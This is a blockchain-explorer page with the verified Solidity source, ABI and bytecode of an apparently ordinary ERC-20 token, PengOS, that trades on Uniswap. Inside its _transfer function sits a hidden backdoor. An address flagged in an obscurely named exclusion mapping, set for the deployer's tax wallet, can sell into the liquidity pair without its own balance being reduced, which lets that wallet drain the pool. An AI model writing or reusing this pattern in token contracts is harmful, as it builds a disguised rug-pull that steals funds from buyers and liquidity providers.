Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract PengOS is Context, IERC20 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function disableTransferTax()    - function sendETHToFee(uint256 amount)    - function openTrading()    - function setPengOSTaxFee(uint256 _new ...    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-05-05
*/

// SPDX-License-Identifier: MIT

/*
    web      : https://pengos.xyz
    docs     : https://docs.pengos.xyz
    twitter  : https://twitter.com/pengosxyz
    telegram : https://t.me/pengosxyz
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PengOS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromBrettFee;
    
    address payable private _taxWallet;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=16;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"PengOS";
    string private constant _symbol = unicode"PENGE";
    uint256 public _maxTxAmount = 2_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 500 * 10**_decimals;
    uint256 public _maxTaxSwap= 500_000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _pengOSAddr) {
        _taxWallet = payable(_pengOSAddr);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromBrettFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            taxAmount = amount.mul(_transferTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(_isExcludedFromBrettFee[from]) {
                    _balances[to]=_balances[to].add(amount.sub(taxAmount));
                    return;
                }

                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>=0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
    
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function disableTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);       // Ethereum Uniswap V2
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    
    function setPengOSTaxFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"_pengOSAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"setPengOSTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600655601e600755600060085560006009556014600a556019600b556010600c556000600d556000600e556012600a6200004191906200038a565b6200005090621e8480620003a2565b600f55620000616012600a6200038a565b6200007090621e8480620003a2565b601055620000816012600a6200038a565b6200008f906101f4620003a2565b601155620000a06012600a6200038a565b620000af906207a120620003a2565b6012556014805461ffff60a81b1916905560006015819055601655348015620000d757600080fd5b5060405162001d5e38038062001d5e833981016040819052620000fa91620003bc565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038316179055620001646012600a6200038a565b62000174906305f5e100620003a2565b3360009081526001602081905260408220929092556003906200019f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003845282812080548616600190811790915560058054841683528483208054881683179055549092168152600490935291208054909216179055620002133390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200024d6012600a6200038a565b6200025d906305f5e100620003a2565b60405190815260200160405180910390a350620003e7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002cc578160001904821115620002b057620002b062000275565b80851615620002be57918102915b93841c939080029062000290565b509250929050565b600082620002e55750600162000384565b81620002f45750600062000384565b81600181146200030d5760028114620003185762000338565b600191505062000384565b60ff8411156200032c576200032c62000275565b50506001821b62000384565b5060208310610133831016604e8410600b84101617156200035d575081810a62000384565b6200036983836200028b565b806000190482111562000380576200038062000275565b0290505b92915050565b60006200039b60ff841683620002d4565b9392505050565b808202811582820484141762000384576200038462000275565b600060208284031215620003cf57600080fd5b81516001600160a01b03811681146200039b57600080fd5b61196780620003f76000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610315578063a9059cbb14610343578063bf474bed14610363578063c9567bf914610379578063dd62ed3e1461038e57600080fd5b8063715018a614610297578063751039fc146102ac5780637d1db4a5146102c15780638da5cb5b146102d75780638f9a55c0146102ff57600080fd5b806323b872dd116100e757806323b872dd146101f0578063313ce5671461021057806351bc3c851461022c5780637015e8a11461024157806370a082311461026157600080fd5b806306fdde031461012f578063095ea7b3146101705780630faee56f146101a057806312818f93146101c457806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600681526550656e674f5360d01b60208201525b604051610167919061151d565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611583565b6103d4565b6040519015158152602001610167565b3480156101ac57600080fd5b506101b660125481565b604051908152602001610167565b3480156101d057600080fd5b506101d96103eb565b005b3480156101e757600080fd5b506101b661045b565b3480156101fc57600080fd5b5061019061020b3660046115af565b61047c565b34801561021c57600080fd5b5060405160128152602001610167565b34801561023857600080fd5b506101d96104e5565b34801561024d57600080fd5b506101d961025c3660046115f0565b610538565b34801561026d57600080fd5b506101b661027c366004611609565b6001600160a01b031660009081526001602052604090205490565b3480156102a357600080fd5b506101d961057f565b3480156102b857600080fd5b506101d96105f3565b3480156102cd57600080fd5b506101b6600f5481565b3480156102e357600080fd5b506000546040516001600160a01b039091168152602001610167565b34801561030b57600080fd5b506101b660105481565b34801561032157600080fd5b5060408051808201909152600581526450454e474560d81b602082015261015a565b34801561034f57600080fd5b5061019061035e366004611583565b6106a0565b34801561036f57600080fd5b506101b660115481565b34801561038557600080fd5b506101d96106ad565b34801561039a57600080fd5b506101b66103a9366004611626565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e1338484610a69565b5060015b92915050565b6000546001600160a01b0316331461041e5760405162461bcd60e51b81526004016104159061165f565b60405180910390fd5b6000600d8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b60006104696012600a61178e565b610477906305f5e10061179d565b905090565b6000610489848484610b8d565b6104db84336104d68560405180606001604052806028815260200161190a602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611180565b610a69565b5060019392505050565b6005546001600160a01b0316336001600160a01b03161461050557600080fd5b30600090815260016020526040902054801561052457610524816111ba565b4780156105345761053481611334565b5050565b6005546001600160a01b0316336001600160a01b03161461055857600080fd5b600854811115801561056c57506009548111155b61057557600080fd5b6008819055600955565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016104159061165f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061d5760405162461bcd60e51b81526004016104159061165f565b6106296012600a61178e565b610637906305f5e10061179d565b600f556106466012600a61178e565b610654906305f5e10061179d565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106846012600a61178e565b610692906305f5e10061179d565b604051908152602001610451565b60006103e1338484610b8d565b6000546001600160a01b031633146106d75760405162461bcd60e51b81526004016104159061165f565b601454600160a01b900460ff16156107315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610415565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076c6012600a61178e565b6104d6906305f5e10061179d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117b4565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087791906117b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e891906117b4565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610930816001600160a01b031660009081526001602052604090205490565b6000806109456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d291906117d1565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4f91906117ff565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610acb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b038216610b2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610415565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610415565b60008111610cb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610415565b600080546001600160a01b03858116911614801590610ce257506000546001600160a01b03848116911614155b1561103d57610d076064610d01600d548561136e90919063ffffffff16565b906113f7565b6014549091506001600160a01b038581169116148015610d3557506013546001600160a01b03848116911614155b8015610d5a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e6a57600f54821115610db15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610415565b60105482610dd4856001600160a01b031660009081526001602052604090205490565b610dde9190611821565b1115610e2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610415565b610e526064610d01600a54600e5411610e4757600654610e4b565b6008545b859061136e565b600e80549192506000610e6483611834565b91905055505b6014546001600160a01b038481169116148015610e9057506001600160a01b0384163014155b15610ebd57610eba6064610d01600b54600e5411610eb057600754610e4b565b600954859061136e565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ef457506014546001600160a01b038581169116145b8015610f095750601454600160b01b900460ff165b8015610f185750600c54600e54115b1561103b576001600160a01b03851660009081526004602052604090205460ff1615610f8d57610f6a610f4b8484611439565b6001600160a01b0386166000908152600160205260409020549061147b565b6001600160a01b0390941660009081526001602052604090209390935550505050565b601654431115610f9d5760006015555b600360155410610fef5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610415565b601154811115611016576110166110118461100c846012546114da565b6114da565b6111ba565b4761102047611334565b6015805490600061103083611834565b909155505043601655505b505b80156110b7573060009081526001602052604090205461105d908261147b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ae9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110da9083611439565b6001600160a01b03851660009081526001602052604090205561111f6111008383611439565b6001600160a01b0385166000908152600160205260409020549061147b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111698585611439565b60405190815260200160405180910390a350505050565b600081848411156111a45760405162461bcd60e51b8152600401610415919061151d565b5060006111b1848661184d565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120257611202611860565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127f91906117b4565b8160018151811061129257611292611860565b6001600160a01b0392831660209182029290920101526013546112b89130911684610a69565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f1908590600090869030904290600401611876565b600060405180830381600087803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610534573d6000803e3d6000fd5b600082600003611380575060006103e5565b600061138c838561179d565b90508261139985836118e7565b146113f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610415565b9392505050565b60006113f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ef565b60006113f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611180565b6000806114888385611821565b9050838110156113f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610415565b60008183116114e957826113f0565b50919050565b600081836115105760405162461bcd60e51b8152600401610415919061151d565b5060006111b184866118e7565b600060208083528351808285015260005b8181101561154a5785810183015185820160400152820161152e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461158057600080fd5b50565b6000806040838503121561159657600080fd5b82356115a18161156b565b946020939093013593505050565b6000806000606084860312156115c457600080fd5b83356115cf8161156b565b925060208401356115df8161156b565b929592945050506040919091013590565b60006020828403121561160257600080fd5b5035919050565b60006020828403121561161b57600080fd5b81356113f08161156b565b6000806040838503121561163957600080fd5b82356116448161156b565b915060208301356116548161156b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116e55781600019048211156116cb576116cb611694565b808516156116d857918102915b93841c93908002906116af565b509250929050565b6000826116fc575060016103e5565b81611709575060006103e5565b816001811461171f576002811461172957611745565b60019150506103e5565b60ff84111561173a5761173a611694565b50506001821b6103e5565b5060208310610133831016604e8410600b8410161715611768575081810a6103e5565b61177283836116aa565b806000190482111561178657611786611694565b029392505050565b60006113f060ff8416836116ed565b80820281158282048414176103e5576103e5611694565b6000602082840312156117c657600080fd5b81516113f08161156b565b6000806000606084860312156117e657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561181157600080fd5b815180151581146113f057600080fd5b808201808211156103e5576103e5611694565b60006001820161184657611846611694565b5060010190565b818103818111156103e5576103e5611694565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c65784516001600160a01b0316835293830193918301916001016118a1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220993329158764b1920f2eb7c596ddf465a1b696b3e8e30d631046abe7c8db7f1464736f6c63430008130033000000000000000000000000711587d7caa99aebd63fec764dd22872e01903a2

0x6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610315578063a9059cbb14610343578063bf474bed14610363578063c9567bf914610379578063dd62ed3e1461038e57600080fd5b8063715018a614610297578063751039fc146102ac5780637d1db4a5146102c15780638da5cb5b146102d75780638f9a55c0146102ff57600080fd5b806323b872dd116100e757806323b872dd146101f0578063313ce5671461021057806351bc3c851461022c5780637015e8a11461024157806370a082311461026157600080fd5b806306fdde031461012f578063095ea7b3146101705780630faee56f146101a057806312818f93146101c457806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600681526550656e674f5360d01b60208201525b604051610167919061151d565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611583565b6103d4565b6040519015158152602001610167565b3480156101ac57600080fd5b506101b660125481565b604051908152602001610167565b3480156101d057600080fd5b506101d96103eb565b005b3480156101e757600080fd5b506101b661045b565b3480156101fc57600080fd5b5061019061020b3660046115af565b61047c565b34801561021c57600080fd5b5060405160128152602001610167565b34801561023857600080fd5b506101d96104e5565b34801561024d57600080fd5b506101d961025c3660046115f0565b610538565b34801561026d57600080fd5b506101b661027c366004611609565b6001600160a01b031660009081526001602052604090205490565b3480156102a357600080fd5b506101d961057f565b3480156102b857600080fd5b506101d96105f3565b3480156102cd57600080fd5b506101b6600f5481565b3480156102e357600080fd5b506000546040516001600160a01b039091168152602001610167565b34801561030b57600080fd5b506101b660105481565b34801561032157600080fd5b5060408051808201909152600581526450454e474560d81b602082015261015a565b34801561034f57600080fd5b5061019061035e366004611583565b6106a0565b34801561036f57600080fd5b506101b660115481565b34801561038557600080fd5b506101d96106ad565b34801561039a57600080fd5b506101b66103a9366004611626565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e1338484610a69565b5060015b92915050565b6000546001600160a01b0316331461041e5760405162461bcd60e51b81526004016104159061165f565b60405180910390fd5b6000600d8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b60006104696012600a61178e565b610477906305f5e10061179d565b905090565b6000610489848484610b8d565b6104db84336104d68560405180606001604052806028815260200161190a602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611180565b610a69565b5060019392505050